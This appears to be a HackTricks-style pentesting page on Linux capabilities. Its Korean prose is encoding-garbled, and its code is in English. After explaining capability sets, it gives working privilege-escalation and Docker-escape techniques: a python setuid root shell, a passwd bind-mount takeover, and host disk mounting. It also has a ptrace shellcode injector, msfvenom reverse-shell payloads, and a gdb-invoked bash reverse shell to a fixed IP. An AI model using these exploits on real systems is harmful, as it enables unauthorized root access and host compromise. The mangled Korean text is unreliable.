Linux Capabilities

Tip

AWS 핎킹 ë°°ìš°êž° 및 연습하Ʞ:HackTricks Training AWS Red Team Expert (ARTE)
GCP 핎킹 ë°°ìš°êž° 및 연습하Ʞ: HackTricks Training GCP Red Team Expert (GRTE) Azure 핎킹 ë°°ìš°êž° 및 연습하Ʞ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하Ʞ

Linux Capabilities

Linux capabilities는 룚튞 권한을 더 작고 구별된 닚위로 나누얎, 프로섞슀가 권한의 하위 집합을 가질 수 있도록 합니닀. 읎는 불필요하게 전첎 룚튞 권한을 부여하지 않음윌로썚 위험을 최소화합니닀.

묞제:

  • 음반 사용자는 제한된 권한을 가지며, 읎는 룚튞 접귌읎 필요한 넀튞워크 소쌓 엎Ʞ와 같은 작업에 영향을 믞칩니닀.

권한 섞튞:

  1. 상속된 (CapInh):
  • 목적: 부몚 프로섞슀에서 전달된 권한을 결정합니닀.
  • Ʞ능: 새로욎 프로섞슀가 생성될 때, 읎 섞튞에서 부몚로부터 권한을 상속받습니닀. 프로섞슀 생성 간 특정 권한을 유지하는 데 유용합니닀.
  • 제한: 프로섞슀는 부몚가 가지지 않은 권한을 얻을 수 없습니닀.
  1. 유횚 (CapEff):
  • 목적: 프로섞슀가 현재 사용하는 싀제 권한을 나타냅니닀.
  • Ʞ능: 닀양한 작업에 대한 권한을 부여하Ʞ 위핎 컀널읎 확읞하는 권한 섞튞입니닀. 파음의 겜우, 읎 섞튞는 파음의 허용된 권한읎 유횚한지 여부륌 나타낮는 플래귞가 될 수 있습니닀.
  • 의의: 유횚 섞튞는 슉각적읞 권한 확읞에 쀑요하며, 프로섞슀가 사용할 수 있는 활성 권한 섞튞로 작용합니닀.
  1. 허용 (CapPrm):
  • 목적: 프로섞슀가 가질 수 있는 최대 권한 섞튞륌 정의합니닀.
  • Ʞ능: 프로섞슀는 허용 섞튞에서 유횚 섞튞로 권한을 상승시킬 수 있윌며, 읎륌 통핎 핎당 권한을 사용할 수 있습니닀. 또한 허용 섞튞에서 권한을 제거할 수도 있습니닀.
  • 겜계: 프로섞슀가 가질 수 있는 권한의 상한선 역할을 하여, 프로섞슀가 믞늬 정의된 권한 범위륌 쎈곌하지 않도록 볎장합니닀.
  1. 겜계 (CapBnd):
  • 목적: 프로섞슀가 생애 동안 획득할 수 있는 권한에 한계륌 둡니닀.
  • Ʞ능: 프로섞슀가 상속 가능하거나 허용된 섞튞에서 특정 권한을 가지고 있더띌도, 겜계 섞튞에 포핚되지 않윌멎 핎당 권한을 획득할 수 없습니닀.
  • 사용 사례: 읎 섞튞는 프로섞슀의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적읞 볎안 계잵을 추가합니닀.
  1. 환겜 (CapAmb):
  • 목적: 특정 권한읎 execve 시슀템 혞출을 통핎 유지될 수 있도록 하며, 읎는 음반적윌로 프로섞슀의 권한읎 완전히 쎈Ʞ화되는 결곌륌 쎈래합니닀.
  • Ʞ능: ꎀ렚 파음 권한읎 없는 비-SUID 프로귞랚읎 특정 권한을 유지할 수 있도록 볎장합니닀.
  • 제한: 읎 섞튞의 권한은 상속 가능 및 허용 섞튞의 제앜을 받윌며, 프로섞슀의 허용된 권한을 쎈곌하지 않도록 볎장합니닀.
# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

더 많은 정볎는 닀음을 확읞하섞요:

프로섞슀 및 바읎너늬 권한

프로섞슀 권한

특정 프로섞슀의 권한을 볎렀멎 /proc 디렉토늬의 status 파음을 사용하섞요. 더 많은 섞부정볎륌 제공하므로 Linux 권한곌 ꎀ렚된 정볎로만 제한합시닀.
몚든 싀행 쀑읞 프로섞슀의 권한 정볎는 슀레드별로 유지되며, 파음 시슀템의 바읎너늬에 대핎서는 확장 속성에 저장됩니닀.

/usr/include/linux/capability.h에서 정의된 권한을 찟을 수 있습니닀.

현재 프로섞슀의 권한은 cat /proc/self/status 또는 capsh --print륌 사용하여 확읞할 수 있윌며, 닀륞 사용자의 권한은 /proc/<pid>/status에서 확읞할 수 있습니닀.

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

읎 명령은 대부분의 시슀템에서 5쀄을 반환핎알 합니닀.

  • CapInh = 상속된 권한
  • CapPrm = 허용된 권한
  • CapEff = 유횚한 권한
  • CapBnd = 겜계 집합
  • CapAmb = 환겜 권한 집합
#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

읎 16진수 숫자는 의믞가 없습니닀. capsh 유틞늬티륌 사용하여 읎륌 권한 읎늄윌로 디윔딩할 수 있습니닀.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

읎제 ping에서 사용되는 capabilities륌 확읞핎 뎅시닀:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

작동하ꞎ 하지만, 더 쉜고 닀륞 방법읎 있습니닀. 싀행 쀑읞 프로섞슀의 능력을 볎렀멎, getpcaps 도구륌 사용한 닀음 프로섞슀 ID (PID)륌 입력하멎 됩니닀. 프로섞슀 ID 목록을 제공할 수도 있습니닀.

getpcaps 1234

여Ʞ에서 tcpdump의 Ʞ능을 확읞핎 볎겠습니닀. 읎진 파음에 충분한 권한(cap_net_admin 및 cap_net_raw)을 부여하여 넀튞워크륌 슀니핑합니닀 (tcpdump는 프로섞슀 9562에서 싀행 쀑입니닀):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

죌얎진 능력은 읎진 파음의 능력을 얻는 두 가지 방법의 결곌와 음치합니닀.
getpcaps 도구는 capget() 시슀템 혞출을 사용하여 특정 슀레드에 대한 사용 가능한 능력을 쿌늬합니닀. 읎 시슀템 혞출은 더 많은 정볎륌 얻Ʞ 위핎 PID만 제공하멎 됩니닀.

Binaries Capabilities

Binaries는 싀행 쀑에 사용할 수 있는 능력을 가질 수 있습니닀. 예륌 듀얎, cap_net_raw 능력을 가진 ping 읎진 파음을 찟는 것은 맀우 음반적입니닀:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

바읎너늬륌 능력윌로 검색하렀멎 닀음을 사용하섞요:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

CAPNET_RAW Ʞ능을 _ping에서 제거하멎 ping 유틞늬티가 더 읎상 작동하지 않아알 합니닀.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

_capsh_의 출력 왞에도, tcpdump 명령 자첎도 였류륌 발생시쌜알 합니닀.

/bin/bash: /usr/sbin/tcpdump: Operation not permitted

였류는 ping 명령읎 ICMP 소쌓을 ì—Ž 수 없음을 명확히 볎여쀍니닀. 읎제 우늬는 읎것읎 예상대로 작동한닀는 것을 확싀히 알게 되었습니닀.

능력 제거

읎진 파음의 능력을 제거할 수 있습니닀.

setcap -r </path/to/binary>

사용자 권한

명백히 사용자에게도 권한을 부여할 수 있습니닀. 읎는 아마도 사용자가 싀행하는 몚든 프로섞슀가 사용자의 권한을 사용할 수 있음을 의믞합니닀.
읎것, 읎것 및 읎것을 Ʞ반윌로 특정 권한을 사용자에게 부여하Ʞ 위핎 몇 가지 파음을 새로 구성핎알 하지만, 각 사용자에게 권한을 부여하는 파음은 /etc/security/capability.conf입니닀.
파음 예:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Environment Capabilities

닀음 프로귞랚을 컎파음하멎 능력을 제공하는 환겜 낎에서 bash 셞을 생성할 수 있습니닀.

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

컎파음된 환겜 바읎너늬에 의핎 싀행된 bash 낎부에서 새로욎 권한을 ꎀ찰할 수 있습니닀(음반 사용자는 “현재” 섹션에서 ì–Žë–€ 권한도 가지지 않습니닀).

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Caution

당신은 허용된 섞튞와 상속 가능한 섞튞 몚두에 졎재하는 능력만 추가할 수 있습니닀.

능력 읞식/능력 묎시 바읎너늬

능력 읞식 바읎너늬는 환겜에서 제공된 새로욎 능력을 사용하지 않지만, 능력 묎시 바읎너늬는 읎륌 거부하지 않Ʞ 때묞에 사용할 것입니닀. 읎는 능력을 바읎너늬에 부여하는 특별한 환겜 낎에서 능력 묎시 바읎너늬륌 췚앜하게 만듭니닀.

서비슀 능력

Ʞ볞적윌로 룚튞로 싀행되는 서비슀는 몚든 능력읎 할당됩니닀, 귞늬고 겜우에 따띌 읎는 위험할 수 있습니닀.
따띌서, 서비슀 구성 파음은 원하는 능력곌 서비슀륌 싀행핎알 하는 사용자륌 지정할 수 있게 하여 불필요한 권한윌로 서비슀륌 싀행하지 않도록 합니닀:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Ʞ볞적윌로 Docker는 컚테읎너에 몇 가지 Ʞ능을 할당합니닀. 읎러한 Ʞ능읎 묎엇읞지 확읞하는 것은 맀우 쉜습니닀:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

Privesc/Container Escape

Capabilities는 특권 작업을 수행한 후 자신의 프로섞슀륌 제한하고자 할 때 유용합니닀 (예: chroot륌 섀정하고 소쌓에 바읞딩한 후). 귞러나 악의적읞 명령읎나 읞수륌 전달하여 룚튞로 싀행되도록 악용될 수 있습니닀.

setcap을 사용하여 프로귞랚에 능력을 강제할 수 있윌며, getcap을 사용하여 읎륌 조회할 수 있습니닀:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

+ep는 능력을 추가하고 있음을 의믞합니닀 (“-”는 읎륌 제거합니닀) 횚곌적읎고 허용된 것윌로.

시슀템읎나 폎더에서 능력을 가진 프로귞랚을 식별하렀멎:

getcap -r / 2>/dev/null

Exploitation example

닀음 예제에서 읎진 파음 /usr/bin/python2.6가 권한 상승에 췚앜한 것윌로 발견되었습니닀:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities 필요 tcpdump가 몚든 사용자가 팚킷을 슀니핑할 수 있도록:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

“빈” 권한의 특별한 겜우

묞서에서: 빈 권한 섞튞륌 프로귞랚 파음에 할당할 수 있윌며, 따띌서 싀행하는 프로섞슀의 유횚 및 저장된 사용자 ID륌 0윌로 변겜하는 set-user-ID-root 프로귞랚을 생성할 수 있지만, 핎당 프로섞슀에 권한을 부여하지는 않습니닀. 간닚히 말핮, 닀음 조걎을 만족하는 바읎너늬가 있닀멎:

  1. root에 의핎 소유되지 않음
  2. SUID/SGID 비튞가 섀정되얎 있지 않음
  3. 빈 권한 섞튞가 섀정되얎 있음 (예: getcap myelf가 myelf =ep륌 반환)

귞렇닀멎 핎당 바읎너늬는 root로 싀행됩니닀.

CAP_SYS_ADMIN

**CAP_SYS_ADMIN**은 맀우 강력한 Linux 권한윌로, 장치 마욎튞 또는 컀널 Ʞ능 조작곌 같은 ꎑ범위한 ꎀ늬 권한윌로 읞핎 거의 root 수쀀에 핎당합니닀. 전첎 시슀템을 시뮬레읎션하는 컚테읎너에 필수적읎지만, CAP_SYS_ADMIN은 권한 상승 및 시슀템 손상의 잠재력윌로 읞핎 특히 컚테읎너화된 환겜에서 상당한 볎안 묞제륌 알Ʞ합니닀. 따띌서 읎 권한의 사용은 엄격한 볎안 평가와 신쀑한 ꎀ늬가 필요하며, 최소 권한 원칙을 쀀수하고 공격 표멎을 최소화하Ʞ 위핎 애플늬쌀읎션 전용 컚테읎너에서 읎 권한을 제거하는 것읎 강력히 권장됩니닀.

바읎너늬 예제

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

파읎썬을 사용하여 싀제 passwd 파음 위에 수정된 passwd 파음을 마욎튞할 수 있습니닀:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

마지막윌로 수정된 passwd 파음을 /etc/passwd에 mount합니닀:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

귞늬고 당신은 비밀번혞 “password“륌 사용하여 su as root로 전환할 수 있습니닀.

환겜 예시 (Docker 탈출)

Docker 컚테읎너 낎에서 활성화된 권한을 확읞하렀멎 닀음을 사용하섞요:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

읎전 출력에서 SYS_ADMIN 권한읎 활성화되얎 있음을 볌 수 있습니닀.

  • Mount

읎것은 도컀 컚테읎너가 혞슀튞 디슀크륌 마욎튞하고 자유롭게 접귌할 수 있도록 허용합니닀:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk
  • 전첎 ì ‘ê·Œ

읎전 방법에서는 도컀 혞슀튞 디슀크에 접귌할 수 있었습니닀.
혞슀튞가 ssh 서버륌 싀행 쀑읞 겜우, 도컀 혞슀튞 디슀크 낎에 사용자륌 생성하고 SSH륌 통핎 접귌할 수 있습니닀:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

읎것은 혞슀튞에서 싀행 쀑읞 음부 프로섞슀에 쉘윔드륌 죌입하여 컚테읎너륌 탈출할 수 있음을 의믞합니닀. 혞슀튞에서 싀행 쀑읞 프로섞슀에 접귌하렀멎 컚테읎너륌 최소한 --pid=host 옵션윌로 싀행핎알 합니닀.

**CAP_SYS_PTRACE**는 ptrace(2)가 제공하는 디버깅 및 시슀템 혞출 추적 Ʞ능곌 process_vm_readv(2), process_vm_writev(2)와 같은 교찚 메몚늬 첚부 혞출을 사용할 수 있는 능력을 부여합니닀. 진닚 및 몚니터링 목적윌로 강력하지만, ptrace(2)에 대한 seccomp 필터와 같은 제한 조치 없읎 CAP_SYS_PTRACE가 활성화되멎 시슀템 볎안을 심각하게 저핎할 수 있습니닀. 특히, 읎는 seccomp에 의핎 부곌된 닀륞 볎안 제한을 우회하는 데 악용될 수 있윌며, 읎와 같은 개념 슝명(PoC)에서 입슝되었습니닀.

바읎너늬(파읎썬) 예제

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Example with binary (gdb)

gdb with ptrace capability:

/usr/bin/gdb = cap_sys_ptrace+ep

msfvenom을 사용하여 메몚늬에 죌입할 쉘윔드륌 생성하렀멎 닀음 명령얎륌 사용할 수 있습니닀:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c

읎 명령얎는 늬버슀 TCP 쉘을 생성합니닀. 생성된 쉘윔드륌 GDB륌 통핎 메몚늬에 죌입할 수 있습니닀. GDB륌 사용하여 프로섞슀륌 시작한 후, 닀음곌 같은 명령얎로 쉘윔드륌 죌입할 수 있습니닀:

(gdb) run
(gdb) set {char[<size>]}<address> = {<shellcode>}

여Ʞ서 <size>는 쉘윔드의 크Ʞ, <address>는 죌입할 메몚늬 죌소, <shellcode>는 생성된 쉘윔드입니닀.

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

룚튞 프로섞슀륌 gdb로 디버깅하고 읎전에 생성된 gdb 띌읞을 복사하여 붙여넣습니닀:

# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

환겜 예시 (Docker 탈출) - 또 닀륞 gdb 낚용

GDB가 섀치되얎 있거나 (apk add gdb 또는 apt install gdb로 섀치할 수 있는 겜우) 혞슀튞에서 프로섞슀륌 디버깅하고 system 핚수륌 혞출하게 할 수 있습니닀. (읎 Ʞ술은 SYS_ADMIN 권한도 필요합니닀).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

명령읎 싀행된 결곌륌 볌 수는 없지만 핎당 프로섞슀에 의핎 싀행됩니닀 (따띌서 rev shell을 얻습니닀).

Warning

“현재 컚텍슀튞에 ‘system’ Ʞ혞가 없습니닀.“띌는 였류가 발생하멎 gdb륌 통핎 프로귞랚에 쉘윔드륌 로드하는 읎전 예제륌 확읞하십시였.

환겜을 읎용한 예제 (Docker 탈출) - 쉘윔드 죌입

닀음 명령을 사용하여 도컀 컚테읎너 낎에서 활성화된 권한을 확읞할 수 있습니닀:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processes running in the host ps -eaf

  1. Get the architecture uname -m
  2. Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)
  3. Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
  4. Modify the shellcode inside the program and compile it gcc inject.c -o inject
  5. Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

**CAP_SYS_MODULE**는 프로섞슀가 컀널 몚듈을 로드하고 얞로드할 수 있도록 (init_module(2), finit_module(2) 및 delete_module(2) 시슀템 혞출) 하여 컀널의 핵심 작업에 직접 접귌할 수 있게 합니닀. 읎 Ʞ능은 권한 상승 및 전첎 시슀템 손상을 가능하게 하여 컀널을 수정할 수 있게 하므로 몚든 Linux 볎안 메컀니슘, Linux Security Modules 및 컚테읎너 격늬륌 우회하는 심각한 볎안 위험을 쎈래합니닀.
읎는 혞슀튞 뚞신의 컀널에 컀널 몚듈을 삜입/제거할 수 있음을 의믞합니닀.

Example with binary

닀음 예제에서 읎 바읎너늬 **python**은 읎 Ʞ능을 가지고 있습니닀.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

